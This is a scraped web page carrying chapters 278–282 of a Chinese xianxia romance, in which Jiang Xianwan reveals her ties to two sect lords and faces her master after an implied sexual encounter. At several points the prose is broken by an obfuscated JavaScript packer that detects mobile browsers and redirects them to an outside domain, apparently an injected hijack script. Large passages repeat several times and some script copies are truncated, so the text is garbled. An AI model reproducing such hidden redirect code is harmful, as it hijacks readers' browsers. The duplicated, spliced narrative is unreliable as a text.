南帝尊跟他们家江献晚,看起来有点甜怎么回事? 第 278章 不悔 云为泽这个当事人显然是表情最震惊的那个以至于久久没能反应过来。 他傻傻的捧着酒壶怔怔看了江献晚半晌。 后知后觉咬了唇肉耳尖浮出一抹让六宗全体天打雷劈、目瞪口呆的……胭脂色。 那一双含露的眸子羞赧且柔软更是像初绽的杏萼在晨光中浮起碎金流光只为一人绽放。 只听南帝尊支支吾吾道:“过几日再喝。” 她嗓子还没好。 江献晚点头 她倒没什么非要藏着掖着的心态更不在意别人的眼光。 南境的人最近又不是看不出来点什么只不过大家都默契的当做自己眼瞎。 早晚是会知道的。 再者云为泽方才明显有点小失落。 帝隐他们几个嘴上虽不说心里也是想与她正大光明站在一起。 反正要都要了他们总不能一辈子这么偷偷摸摸的吧? 云为泽只觉面颊滚烫耳根子红了个底朝天宛若覆上一层滟糜的云霞。 他没想到江献晚真的会愿意在六宗面前揭开他们的关系眼底万丈晴霁一下雀跃起来指尖指了指自己的唇瓣。 “这里有东西。” 江献晚擦了一下“还有吗?” 视线落在那双娇艳的唇瓣云为泽睫毛簌簌几颤拿指尖轻轻沾了沾她的唇。 “没有了。” 南境:“……” 终于不藏着掖着了? 终于要昭告天下了? 哟哟哟! 北境:“……” 他们的眼似乎瞎了。 不是。 南帝尊花一般的人物对他人素来神色浅淡亦不做笑。 那是比挂在天上的月还要让人望月兴叹难以触及。 他还会羞赧? 还给江献晚擦嘴? 不由得想到之前他拎起江献晚被后者环了脖儿的那一幕。 还没等突然吃到一个大瓜被塞了一嘴狗粮的北境三宗反应和呲牙咧嘴的南境三宗回神。 更让人五雷轰顶一再沉默的 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 是…… 北帝尊雪衣银发,雪光月色,澄澈绝俗,恍有流霞绕其侧。 肩头趴着龙鲤,手里捧着一圆嘟嘟的精致小盅,同南帝尊方才犹豫的模样一般无二。 远远停下,朝这边看来。 视线的终点……也是江献晚。 他似乎是刚从厨房里钻出来…… 六宗:“……”不儿。 头顶一致冒出一个,后面坠着感叹号的问号。 北帝尊这么冰雪似的一个人儿,竟然能洗手羹汤! 恕他们,实在想象不到,北帝尊神姿端静,站在灶台边,一手拿着汤匙在锅中搅拌的模样。 这一瞬间,六宗所有人的目光都在: 抱着酒壶,红着耳根子的南帝尊。 和抱着小盅,犹豫不决的北帝尊。 还有,一门心思撸串的江献晚身上。 来回、飞快,跳跃。 场面一度陷入死静,空气中开始弥漫一股食物被烤焦的味道。 看到这里,明长老和南境在座的高层,脑中刮起十级暴风。 他们家邪祟,一统两境三域的心事,可能还真的……能实现! 玄古大赛,云舟上那五个男人忽然打起来,还把云舟给干碎了,该不是……因为她吧? 现在一想,这事,还真有可能! 何未语他们:江师妹!永远的神! 万古宗长老:“……” 所以,这就是他家掌门为什么会说,看到江献晚,不可无礼,不可忤逆? 所以,他们家帝尊……喜欢江献晚?!! 所以,江献晚曾经在万古宗养的灵兽……合着是他们家帝尊?!! 在一片无尽的死寂中,江献晚终于……又动了。 她似乎没觉得有什么不对,啃着肉串的动作很是随意,扭头看向了北帝尊。 语气也很稀松平常。 “煲汤了?” 而北帝尊,再次露出与南帝尊方才接酒壶时,别无二致的同款表情。 他呆呆怔在原地,一双雪似的琉璃眸猝然睁大,都不会转了。 半晌。 还是龙鲤用脑袋撞了他三下,才回神。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 那双眸子竟似突然间落满了许多碎星子,甜蜜裹着羞赧,看的人……又是天打雷劈。 真的。 六宗在这一刻,都挺想念小紫的。 在他们直勾勾的视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162712|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗礼下,只见北帝尊唇角勾起再雀跃不过的小弧度,一步步走到她跟前,将精致的小盅搁在她手中。 乖乖轻声道:“我做了雪梨粥。” 龙鲤一看这架势,就知道它们一家子,终于彻底圆满,兴奋的一甩尾巴,扑在江献晚膝头。 “快尝尝,我们熬了足足两个时辰呢!” 南境:“……”它一条鱼跟着熬什么?熬自己吗? 别说,北帝尊可真贤惠。 不由,一致看向云为泽。 云为泽:“……”他觉得,他很有必要学一学如何煲汤做饭了! 北境:“……”帝尊做了雪梨粥? 给江献晚做的?!! 他、龙鲤、江献晚,怎么跟早就一家子似的? 顿时,一致看向江献晚。 话说,江献晚脚踩两只船,两个帝尊真的不会打起来吗? 不过,他们很快就能知道,这俩人,是真的一点打不起来。 江献晚:“……” 就算是有心理准备,被这么多人看猴一样的看着,捧着粥喝也不是,不喝也不是。 干脆,默默将勺子递给帝隐,端起粥,一口气咕咚咕咚喝完。 六宗便看到以下一幕。 北帝尊慌忙从她手里接过小盅,南帝尊很是熟稔的摸出一张雪白帕子……给江献晚擦了擦嘴。 六宗:“……” 而淡定喝完粥的江献晚,拍了拍裙角的草屑,拿了一根肉串,起身离开。 她来到了花不休的房间。 推开门,便见仅身着亵裤,赤裸着上半身的男子,在听到她进入的瞬间,眼眸充红,陡然僵硬。 江献晚没看他,睫毛半落,跪的端正。 “徒儿来请罪,师尊要打要罚,或要将徒儿逐出师门,徒儿绝无怨言。” 诡异地,江献晚脑袋空空,什么也没想。 是的,自从她醒来,大脑一直处在一种空旷的状态,多少沾点,做都做了,随便吧的心态。 只是,不悔。 再来一次,亦是如此。 床榻上绝色风华的男子攥紧了十指,呼吸急促,耳尖红的滴血。 他的孽徒,一身青衣,跪在光晕之中,脊背直挺,像是丝毫不知悔改。 他猛地别过了脸。 两师徒谁也不看谁,谁也不说话。 第 279 章 ** 凌霄花开的风流炽烈无声无息自窗棂洒落芳香四溢。 日头是极好的花是极艳的。 “先出去。” 不知过了多久含着万般心绪的沙哑嗓音飘忽落在耳畔。 江献晚缓缓抬眸看向始终侧着脸不肯瞧她一眼的师尊。 平静的目光凝在那双有些苍白的薄唇淡淡道:“给你擦了药再走。” 花不休十指倏尔屈起将被褥攥出狼藉的褶皱肩线显见地绷直了一瞬牵动心口处的伤口。 火辣辣的痛感却不足以让他冷静。 低垂着眼睑极力忍着诸多翻滚的情绪努力使自己的声音听起来没什么不对。 “不必擦……” 他倏尔止声呼吸急促而短浅下意识反手捉住那截纤细的皓腕。 又似被火燎到一般愣了一下仓促的收回。 “你!” 他眼底极快地掠过一丝难以言喻的可怜眼角洇红看起来像是被逼到悬崖终于仓皇的掀起睫帘肯看她一眼。 他的孽徒衣襟高叠而紧云淡风轻的样子与平时并无不同。 依旧是明滟夺魄 淡然的仿佛先在他身上纵情声色、为非作歹的不是她。 在那逼仄山洞被迫与他耳鬓厮磨染上遍体污浊的不是她。 这样的表情让他愈发不知。 不知那极尽香艳缠绵的五日对她来说到底算什么。 花不休不敢问这种自卑的陌生心绪自己都觉得可笑。 他眼底有薄薄雾气震颤用尽全部力气稳住颤抖的手擒了她的手腕从胸膛挤出几个耗尽力气般的字音。 轻若飘絮。 “不用了。” 江献晚自动忽略听起来再平淡不过的三个字毫不费力拨开他的手取了药膏。 片刻无奈道:“您绷这么紧伤口都裂开了。” 花不休却猛然坐起身不管撕裂的伤蜿蜒淌下一道血痕。 眼眸赤红眼膜覆上一层颓倾的血丝有什么东西随着她这一句轰然崩裂、爆发。 痛苦压抑的喘息。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “江献晚!你知不知道我们做了什么!” “你现在又是在做什么!” 他扯了她的手腕一把漂亮细窄通体流火虚裹的双刃短剑塞在她手中。 从胸腔深处挤压出的呜咽最终噎在喉头只剩破碎的气音从唇齿间溢出。 “你该捅死我的!” 江献晚垂眸细看掌中短剑剑柄上恍若有鎏火欲飞的凤。 脑袋一抽抬眼询问“这是您的本命法器?” 她从来没见过花不休用什么法器收拾他们的时候不是赤手空拳就是烧的一手好火。 何时拿出法器优雅的对他们四个了。 花不休:“……”孽徒! 要死要活的气息一下被冲淡。 一场永远落不尽雪的瞳孔立时被徐徐清风一股脑吹散。 花不休长睫快速震颤两下表情又是破碎几番剧烈转变。 最终像是被她一句话打击的不行用一种极为难耐的目光瞪了她几十秒红着耳尖重重靠回去。 半天吐出一个不知所措又不知如何招架的绝望字眼。 “滚。” 没心肝儿的孽徒! 她就一点不与他生气? 江献晚:“……” 无情的狗男人提上裤子就叫她滚。 她偏不滚。 两师徒这会儿都能看出来 江献晚坐在榻边悠然将短剑翻了个面“它叫什么?” 花不休:“……”重点在这里吗? 对上一双极为认真好奇的眸子花不休又是一个没绷住更不知该露出怎样的表情导致他面上一片破碎。 垂在被褥上的指节屈了又屈喉间卡了一口咽不下去的气胸膛缓缓几伏。 再开口有些绝望。 “**。” 江献晚:“……?”不是? 她不滚就叫她**? 花美人他还是个人吗? 就算是**再怎么着他俩滚了五日多少也能沾点情了吧? 他就这么无情? 你的朋友正在书荒,快去帮帮他吧 自个活了,让她死? 江献晚瞳孔地震,眸子一下不可置信的睁大,两只眼写满:你特么竟然让我**? 花不休:“……” 瞬间被孽徒干沉默了。 一口气又是没上来,还险些咬碎一口牙。 修长的手指无力缓缓抬起,遮了遮面,吐出一口长长而崩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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用力抿着唇线,偏开眸,憋气不吭。 他不可避免想到,自己嗓子哑的不像话,意乱情迷,竟从嘴吐露出几个又痛又欢愉的放浪字。 “晚晚……” “好紧……” “您怎么回事?” 眼瞧他绷的越来越紧,江献晚只好换个话题。 花不休蜷了蜷指尖,暗暗吸一口气,压下纷乱如暴雨淋漓的心音,“不知,只知道无意间碰到了林轻染。” 闻言,江献晚面露古怪,“您不会?嗯?” 这个‘嗯’就很耐人寻味。 花不休如何听不出,再忍不住抬手弹她脑门,咬牙,自证清白。 “孽徒!为……师,没有!” 他是那种随随便便就与一个不相干的人,滚在一起的人吗? 孽徒竟敢怀疑他? “噢。”江献晚放心了,“那就好。” 要是跟别人共用一个男人,有点不得劲。 厚颜无耻地不去想,自己未尝不是。 她细微的反应,花不休哪里还不了解她,阖落半扇睫毛,只是面颊的薄红,憋的一路烧到耳根。 又是懊恼,又是气恼。 隐隐还有不被信任的杀气。 意识到空气忽然有点冷,江献晚掩唇轻咳一声,“这是云为泽的衣裳?” 花不休:“……嗯。” 芥子囊都丢了,他上哪有换洗的衣裳。 那身原本的衣裳,本就有些坏了,又因…… 便让云为泽送了一套过来。 江献晚视线垂在床头搁的墨色织金线的衣裳上,脸终于忍不住……一红。 想到了,她因八个字,吃尽了苦头,死去活来的五日。 她抿了抿唇,沉默片刻,忽然起身。 走到门口时,笑了一下,余光却未能,也似再没有勇气落在那绝色风华的男子身上。 “师尊。” “您可以忘了的。” 顿了顿。 “您伤好了,就回宗吧。” 她试图从花不休眼里找到一些其他的什么,可她观察了许久,不是悔恨,就是自责。 她与花不休的师徒情分,或许终是止步在那个狭小的山洞。 此后,恐怕再不相见。 她也,没有家了。 随着她突兀,贴心的几句话,榻上的男子骤然失去了反应,又像是不能立刻反应。 面颊血色寸寸褪尽,表情一瞬空白,眉眼间是可怜的茫然。 像是不知、不懂,他的孽徒方才明明还与他好好的,下一秒说出的话,没有任何回旋的余地。 孽徒,在赶他走。 江献晚,在赶他走。 花不休猛然抬眸,死死望向只余一步便会消失在他眼前的背影,双眸顷刻一片潮湿充红,每一寸肌肉在沉默中崩裂,呼吸都是背叛。 他的孽徒为了他,做下了荒唐事。 尽管他死也不愿以这样一种方式,在那种地方,欺了她。 可他心中是偷偷欢喜的。 自私的欢喜孽徒被他锁在方寸之地,被他放浪形骸的吮吻过每一处,一声声因着他哭哑了嗓子。 而她,除了孺慕,除了只是不想他死,当真对自己再无任何其他的情谊吗? 他心头偷偷欢喜的五日,最终也只能成为隔开他们师徒的屏障…… 花不休神色空白,几乎是颓败,僵在半空的指尖悄然滑落,就这样看着他的孽徒毫不拖泥带水,消失在他的视线。 他的孽徒,要走。 还要,赶他走。 与他……再不相见! 没能听不到任何挽留的声音,江献晚背对着他,重新举步,没有再回头。 合上门的那一刻,八风不动的神色,在身后人看不到的地方,逐渐变得咬牙切齿。 好你个花美人。 不愧是跟云为泽做兄弟的。 这俩就跟那撬不动的蚌壳似的。 刚进去就撵她出去不说,她药都擦完了,还不说? 非得跟她在这装? 就得她先开口? 她就不开口! 天知道,她刚才几次想摁着他,使劲咬一咬他那张嘴,看看他的嘴是不是如那处一样硬。 但…… 她忍住了。 她咬过,嘴的确是软的。 暂且不说软硬的问题,她今个铁了心要好好收拾收拾花美人,叫他自个躲被窝里哭! 平时得心应手,将人**于股掌之间的得意劲呢? 这会儿跟她搞纯情? 在山洞里怎么不跟她搞纯情? 那是差点没把她给弄死。 一个一个不给治服了,岂不是她江献晚无用? 江献晚一番精湛无懈可击的演技,不费吹灰之力,将骨头最硬,脾气最难搞的花美人,惹的泪崩。 爽是爽了,不过,她心里确实多少有点气。 脚尖撒气似的碾碎一颗小石子,来到一片绿茵飒飒的密林,挑了棵粗壮的树杈,躺了上去。 挑眉。 “雾掌门?” 雾渺轻轻应了一声,沉吟几许,“在想什么,我这么大一个人都没看见?” 江献侧眸看向枕着手臂,躺在另一边树杈上的男子,避而不答。 “雾掌门这些日子经历了什么?为何不开心?” 这下,两个心情不美丽的人,都不说话了。 经历一段漫长的时间后,雾渺直愣愣地盯着穿透密叶的那缕阳光,指尖似提线木偶,点在自己的心口。 “晚晚,我这里有些闷。” “哦。” 他发冠都有些歪了,本该一丝不苟的华服,平添褶皱,还顶着一张随时都能跳河上吊的厌世脸。 傻子也能看得出来,他真真是闷极了,恨不能自个也变成傻子。 雾渺又是垂着眼帘安静许久,忽然侧身,看向掩在树叶中,眸子轻阖,假寐的那道身影。 “我有一个朋友。” 江献晚:“……嗯。” 雾渺蜷紧骨指,掌心那片洁白绣云纹的衣料凌乱一团,写尽他的心绪。 他不想这般不开心的活下去,又无人可说。 鼓起勇气。 “他,他与自己的徒弟险些酿成大错。” 已然酿成大错的江献晚,长睫一抬:“……” 直勾勾地眸子落在雾渺脸上,而后者显然沉浸在一种不可言说、无法自拔的痛苦世界。 显然,说的不是她。 绷紧的脊背微微放松。 雾渺神色颓废,似泼出一切般,继续喃喃,“师傅只将她看作寻常弟子,只是失了神智,出了点意外。” “可那一幕,被几个长老和那个师傅的另一个弟子都看到了。” 江献晚指尖微动,眯了眯眸子。 失了神智。 失了神智。 好一个林轻染。 原以为系统只能控制些异兽,没想,竟能控制花不休这样的人物。 难怪雾渺求帝隐留她一命,合着是被人看到了,只能咽下这个闷亏。 “做没做?” 她忍住了。 她咬过,嘴的确是软的。 暂且不说软硬的问题,她今个铁了心要好好收拾收拾花美人,叫他自个躲被窝里哭! 平时得心应手,将人**于股掌之间的得意劲呢? 这会儿跟她搞纯情? 在山洞里怎么不跟她搞纯情? 那是差点没把她给弄死。 一个一个不给治服了,岂不是她江献晚无用? 江献晚一番精湛无懈可击的演技,不费吹灰之力,将骨头最硬,脾气最难搞的花美人,惹的泪崩。 爽是爽了,不过,她心里确实多少有点气。 脚尖撒气似的碾碎一颗小石子,来到一片绿茵飒飒的密林,挑了棵粗壮的树杈,躺了上去。 挑眉。 “雾掌门?” 雾渺轻轻应了一声,沉吟几许,“在想什么,我这么大一个人都没看见?” 江献侧眸看向枕着手臂,躺在另一边树杈上的男子,避而不答。 “雾掌门这些日子经历了什么?为何不开心?” 这下,两个心情不美丽的人,都不说话了。 经历一段漫长的时间后,雾渺直愣愣地盯着穿透密叶的那缕阳光,指尖似提线木偶,点在自己的心口。 “晚晚,我这里有些闷。” “哦。” 他发冠都有些歪了,本该一丝不苟的华服,平添褶皱,还顶着一张随时都能跳河上吊的厌世脸。 傻子也能看得出来,他真真是闷极了,恨不能自个也变成傻子。 雾渺又是垂着眼帘安静许久,忽然侧身,看向掩在树叶中,眸子轻阖,假寐的那道身影。 “我有一个朋友。” 江献晚:“……嗯。” 雾渺蜷紧骨指,掌心那片洁白绣云纹的衣料凌乱一团,写尽他的心绪。 他不想这般不开心的活下去,又无人可说。 鼓起勇气。 “他,他与自己的徒弟险些酿成大错。” 已然酿成大错的江献晚,长睫一抬:“……” 直勾勾地眸子落在雾渺脸上,而后者显然沉浸在一种不可言说、无法自拔的痛苦世界。 显然,说的不是她。 绷紧的脊背微微放松。 雾渺神色颓废,似泼出一切般,继续喃喃,“师傅只将她看作寻常弟子,只是失了神智,出了点意外。” “可那一幕,被几个长老和那个师傅的另一个弟子都看到了。” 江献晚指尖微动,眯了眯眸子。 失了神智。 失了神智。 好一个林轻染。 原以为系统只能控制些异兽,没想,竟能控制花不休这样的人物。 难怪雾渺求帝隐留她一命,合着是被人看到了,只能咽下这个闷亏。 “做没做?” 她忍住了。 她咬过,嘴的确是软的。 暂且不说软硬的问题,她今个铁了心要好好收拾收拾花美人,叫他自个躲被窝里哭! 平时得心应手,将人**于股掌之间的得意劲呢? 这会儿跟她搞纯情? 在山洞里怎么不跟她搞纯情? 那是差点没把她给弄死。 一个一个不给治服了,岂不是她江献晚无用? 江献晚一番精湛无懈可击的演技,不费吹灰之力,将骨头最硬,脾气最难搞的花美人,惹的泪崩。 爽是爽了,不过,她心里确实多少有点气。 脚尖撒气似的碾碎一颗小石子,来到一片绿茵飒飒的密林,挑了棵粗壮的树杈,躺了上去。 挑眉。 “雾掌门?” 雾渺轻轻应了一声,沉吟几许,“在想什么,我这么大一个人都没看见?” 江献侧眸看向枕着手臂,躺在另一边树杈上的男子,避而不答。 “雾掌门这些日子经历了什么?为何不开心?” 这下,两个心情不美丽的人,都不说话了。 经历一段漫长的时间后,雾渺直愣愣地盯着穿透密叶的那缕阳光,指尖似提线木偶,点在自己的心口。 “晚晚,我这里有些闷。” “哦。” 他发冠都有些歪了,本该一丝不苟的华服,平添褶皱,还顶着一张随时都能跳河上吊的厌世脸。 傻子也能看得出来,他真真是闷极了,恨不能自个也变成傻子。 雾渺又是垂着眼帘安静许久,忽然侧身,看向掩在树叶中,眸子轻阖,假寐的那道身影。 “我有一个朋友。” 江献晚:“……嗯。” 雾渺蜷紧骨指,掌心那片洁白绣云纹的衣料凌乱一团,写尽他的心绪。 他不想这般不开心的活下去,又无人可说。 鼓起勇气。 “他,他与自己的徒弟险些酿成大错。” 已然酿成大错的江献晚,长睫一抬:“……” 直勾勾地眸子落在雾渺脸上,而后者显然沉浸在一种不可言说、无法自拔的痛苦世界。 显然,说的不是她。 绷紧的脊背微微放松。 雾渺神色颓废,似泼出一切般,继续喃喃,“师傅只将她看作寻常弟子,只是失了神智,出了点意外。” “可那一幕,被几个长老和那个师傅的另一个弟子都看到了。” 江献晚指尖微动,眯了眯眸子。 失了神智。 失了神智。 好一个林轻染。 原以为系统只能控制些异兽,没想,竟能控制花不休这样的人物。 难怪雾渺求帝隐留她一命,合着是被人看到了,只能咽下这个闷亏。 “做没做?” 她忍住了。 她咬过,嘴的确是软的。 暂且不说软硬的问题,她今个铁了心要好好收拾收拾花美人,叫他自个躲被窝里哭! 平时得心应手,将人**于股掌之间的得意劲呢? 这会儿跟她搞纯情? 在山洞里怎么不跟她搞纯情? 那是差点没把她给弄死。 一个一个不给治服了,岂不是她江献晚无用? 江献晚一番精湛无懈可击的演技,不费吹灰之力,将骨头最硬,脾气最难搞的花美人,惹的泪崩。 爽是爽了,不过,她心里确实多少有点气。 脚尖撒气似的碾碎一颗小石子,来到一片绿茵飒飒的密林,挑了棵粗壮的树杈,躺了上去。 挑眉。 “雾掌门?” 雾渺轻轻应了一声,沉吟几许,“在想什么,我这么大一个人都没看见?” 江献侧眸看向枕着手臂,躺在另一边树杈上的男子,避而不答。 “雾掌门这些日子经历了什么?为何不开心?” 这下,两个心情不美丽的人,都不说话了。 经历一段漫长的时间后,雾渺直愣愣地盯着穿透密叶的那缕阳光,指尖似提线木偶,点在自己的心口。 “晚晚,我这里有些闷。” “哦。” 他发冠都有些歪了,本该一丝不苟的华服,平添褶皱,还顶着一张随时都能跳河上吊的厌世脸。 傻子也能看得出来,他真真是闷极了,恨不能自个也变成傻子。 雾渺又是垂着眼帘安静许久,忽然侧身,看向掩在树叶中,眸子轻阖,假寐的那道身影。 “我有一个朋友。” 江献晚:“……嗯。” 雾渺蜷紧骨指,掌心那片洁白绣云纹的衣料凌乱一团,写尽他的心绪。 他不想这般不开心的活下去,又无人可说。 鼓起勇气。 “他,他与自己的徒弟险些酿成大错。” 已然酿成大错的江献晚,长睫一抬:“……” 直勾勾地眸子落在雾渺脸上,而后者显然沉浸在一种不可言说、无法自拔的痛苦世界。 显然,说的不是她。 绷紧的脊背微微放松。 雾渺神色颓废,似泼出一切般,继续喃喃,“师傅只将她看作寻常弟子,只是失了神智,出了点意外。” “可那一幕,被几个长老和那个师傅的另一个弟子都看到了。” 江献晚指尖微动,眯了眯眸子。 失了神智。 失了神智。 好一个林轻染。 原以为系统只能控制些异兽,没想,竟能控制花不休这样的人物。 难怪雾渺求帝隐留她一命,合着是被人看到了,只能咽下这个闷亏。 “做没做?” 她忍住了。 她咬过,嘴的确是软的。 暂且不说软硬的问题,她今个铁了心要好好收拾收拾花美人,叫他自个躲被窝里哭! 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他发冠都有些歪了,本该一丝不苟的华服,平添褶皱,还顶着一张随时都能跳河上吊的厌世脸。 傻子也能看得出来,他真真是闷极了,恨不能自个也变成傻子。 雾渺又是垂着眼帘安静许久,忽然侧身,看向掩在树叶中,眸子轻阖,假寐的那道身影。 “我有一个朋友。” 江献晚:“……嗯。” 雾渺蜷紧骨指,掌心那片洁白绣云纹的衣料凌乱一团,写尽他的心绪。 他不想这般不开心的活下去,又无人可说。 鼓起勇气。 “他,他与自己的徒弟险些酿成大错。” 已然酿成大错的江献晚,长睫一抬:“……” 直勾勾地眸子落在雾渺脸上,而后者显然沉浸在一种不可言说、无法自拔的痛苦世界。 显然,说的不是她。 绷紧的脊背微微放松。 雾渺神色颓废,似泼出一切般,继续喃喃,“师傅只将她看作寻常弟子,只是失了神智,出了点意外。” “可那一幕,被几个长老和那个师傅的另一个弟子都看到了。” 江献晚指尖微动,眯了眯眸子。 失了神智。 失了神智。 好一个林轻染。 原以为系统只能控制些异兽,没想,竟能控制花不休这样的人物。 难怪雾渺求帝隐留她一命,合着是被人看到了,只能咽下这个闷亏。 “做没做?” 她忍住了。 她咬过,嘴的确是软的。 暂且不说软硬的问题,她今个铁了心要好好收拾收拾花美人,叫他自个躲被窝里哭! 平时得心应手,将人**于股掌之间的得意劲呢? 这会儿跟她搞纯情? 在山洞里怎么不跟她搞纯情? 那是差点没把她给弄死。 一个一个不给治服了,岂不是她江献晚无用? 江献晚一番精湛无懈可击的演技,不费吹灰之力,将骨头最硬,脾气最难搞的花美人,惹的泪崩。 爽是爽了,不过,她心里确实多少有点气。 脚尖撒气似的碾碎一颗小石子,来到一片绿茵飒飒的密林,挑了棵粗壮的树杈,躺了上去。 挑眉。 “雾掌门?” 雾渺轻轻应了一声,沉吟几许,“在想什么,我这么大一个人都没看见?” 江献侧眸看向枕着手臂,躺在另一边树杈上的男子,避而不答。 “雾掌门这些日子经历了什么?为何不开心?” 这下,两个心情不美丽的人,都不说话了。 经历一段漫长的时间后,雾渺直愣愣地盯着穿透密叶的那缕阳光,指尖似提线木偶,点在自己的心口。 “晚晚,我这里有些闷。” “哦。” 他发冠都有些歪了,本该一丝不苟的华服,平添褶皱,还顶着一张随时都能跳河上吊的厌世脸。 傻子也能看得出来,他真真是闷极了,恨不能自个也变成傻子。 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他不想这般不开心的活下去,又无人可说。 鼓起勇气。 “他,他与自己的徒弟险些酿成大错。” 已然酿成大错的江献晚,长睫一抬:“……” 直勾勾地眸子落在雾渺脸上,而后者显然沉浸在一种不可言说、无法自拔的痛苦世界。 显然,说的不是她。 绷紧的脊背微微放松。 雾渺神色颓废,似泼出一切般,继续喃喃,“师傅只将她看作寻常弟子,只是失了神智,出了点意外。” “可那一幕,被几个长老和那个师傅的另一个弟子都看到了。” 江献晚指尖微动,眯了眯眸子。 失了神智。 失了神智。 好一个林轻染。 原以为系统只能控制些异兽,没想,竟能控制花不休这样的人物。 难怪雾渺求帝隐留她一命,合着是被人看到了,只能咽下这个闷亏。 “做没做?” 第 281 章 你喜欢,我便为你取来 “没!”雾渺先是一愣下意识脱口。 声音有些割裂像是用尽全部的力气悍守仅余的那点可怜清白。 差一点。 就差一点。 倘若不是触摸到那只纹理变得粗糙的芥子囊他不敢想不敢想他差一点便…… 江献晚也不看他悠悠摘下一片树叶捻在指尖“那不就得了有什么好郁闷的。” 雾渺丝毫没反应过来自个掉了马甲空濛凋败的眸子剧烈一颤。 猛地撑起半边身子表情迫切“可你不觉得很难受吗?” 他像是失去方向找不到出路只能淹没在无尽的流霭中。 可现在有一个人用这样很随意 他下意识紧紧攥出这缕天光瞳孔有光点闪烁但无法聚焦。 怕是他的臆想又渴望攀爬出深渊逃出生天身躯都在轻轻觳觫。 仿佛生死皆在一句之间。 江献晚深深看他一眼“雾掌门大家都是成年人。” 雾渺一僵喃喃自语“成年人……成年人……” “怎么我若是逛了花巷摸了两下都要娶进门负责不成?” 雾渺低头不语。 攥着衣料的指紧了松松了紧反反复复。 烟眸雾锁的眸子像是飘散的雪粒陷在极端拉扯的世界。 慢慢转动时一丝潋滟的微光倏尔破开重重的迷雾熠熠流辉整个人像是一刹那间洗净铅华。 大雾散尽茅塞顿开。 他猛然侧目在江献晚看破一切的目光中生出一丝羞愤欲死后知后觉的尴尬。 涨红脸一口咬定。 “我是替我朋友问的。” 江献晚:“……噢。” “我也没说是您啊。” 看破不说破省得他跳河。 雾渺:“……” 他别别扭扭红着脸别过头眼底已是滟滟星漪周身溶溶月漾漂亮轻松的让人挪不开眼睛。 想到什么古怪的目光直勾勾地瞅她“你逛花巷了?” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “还摸人家了?” 江献晚:“……” 鉴于确实有在魔域摸了十八个男魔的历史倒也没狡辩。 她又不是没付钱。 雾渺看她满脸‘摸一摸怎么了’的理直气壮只觉从头轻到了脚心里最后那点阴霾也消散。 浑身骤松没骨头似地瘫倒回去。 连头发丝都随着浮动的光影洒脱灵动如从前夺目耀眼风华自显。 “放心我不会跟小师叔说的。” 江献晚:“……那我还真是要谢谢你。” 看吧有些事就是对比出来的。 早知道就不跟他说话了。 再让他好好难受几天。 显然雾渺为着这点心事压根没心情稍稍关注一下旁的。 不然怎么都不能说出这种话。 雾渺哑然失笑将云纹衣袖上的褶皱尽数抚去。 余光触及到那张冰绡雾縠般的面颊眸光渐渐又是恍惚。 他唇瓣蠕动从芥子囊掏出两壶酒一壶丢给了江献晚。 “晚晚同我喝点酒吧。” 他陷在一片寻不到出路的灰暗不知时间流逝不知年岁几何只能像具行尸走肉一般一点一点看着自己被吞没。 曾经。 江献晚也会如他这般一样的心情吗? 雾渺咕咚咕咚将辛辣的酒灌入口腔掩唇剧烈咳嗽起来眼角沁出一点被酒呛出来的泪意又或者是其他什么。 “晚晚……”他忽然看向她。 “雾掌门”江献晚咽下喉间的酒打断“不必再提。” 时光是条永不回头的长河。 如果后悔就能改变从前回到从前便不会再有断弦的古琴在角落里积尘不会有雪地里深深浅浅却终将被覆盖的足印。 每个人都有要走的路承担不同的代价。 再来几次都是一样。 雾渺微微恍惚。 那双清澈见底的眸霁空疏云淬玉般坚硬光滑本身带着一层无形、不可触及的隔膜。 倒映着众生相却又似不曾亦不会为谁真正停留。 而他 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 …… 连带着那些曾经。 只不过是众生相里的一抹鹤影,不留痕迹。 他收在身侧的五指,用力的指节泛白。 终是缓缓打开,任风淌过指尖。 却再无人告诉他,如何释怀。 江献晚拎着酒壶悠哉悠哉进了虚古境,随手把手里的东西往地上一丢。 “继续。” 墓碑:“……”演都不演了是吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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墓碑哪里被虎娘们如此宠溺过,忍不住眼馋的瞅了一眼双生子睡的蚌壳,扭捏道:“我,我还喜欢蚌壳。” 双生子这个蚌壳,流光溢彩的,一看就很好睡,还是万年的老仙蚌,它惦记很长时间了。 江献晚:“……” 她现在最讨厌蚌壳! 江献晚立刻翻了脸,露出真面目。 装聋作哑,丝毫不理会墓碑一把鼻涕一把泪,哭着闹着要什么蚌壳。 盘腿坐在草地上,看清澈不少的虚古境,显露出雪堆似的流云。 第 282 章 再坏点 云为泽拢了及地衣袖挨着她坐下。 瞥见地上几个空瓶子小臂穿过她的腿弯抱在膝头。 有些无奈。 “嗓子不痛了?” “唔……” 江献晚懒懒地在他怀中打个滚随着他哄小孩儿似的晃动寻了个舒服的姿势将脸一埋。 云为泽眼眸一软下颌温存的搭在她发顶。 蹭着蹭着闷闷轻笑出了声。 “你把我哥惹哭了?” 他从未见过凤仪被逼到如此地步。 天上地下 “在潋浮台你说过要将他揍哭我原本不信现在看来他恐怕要哭上许久。” 江献晚:“……” 就说哭没哭吧。 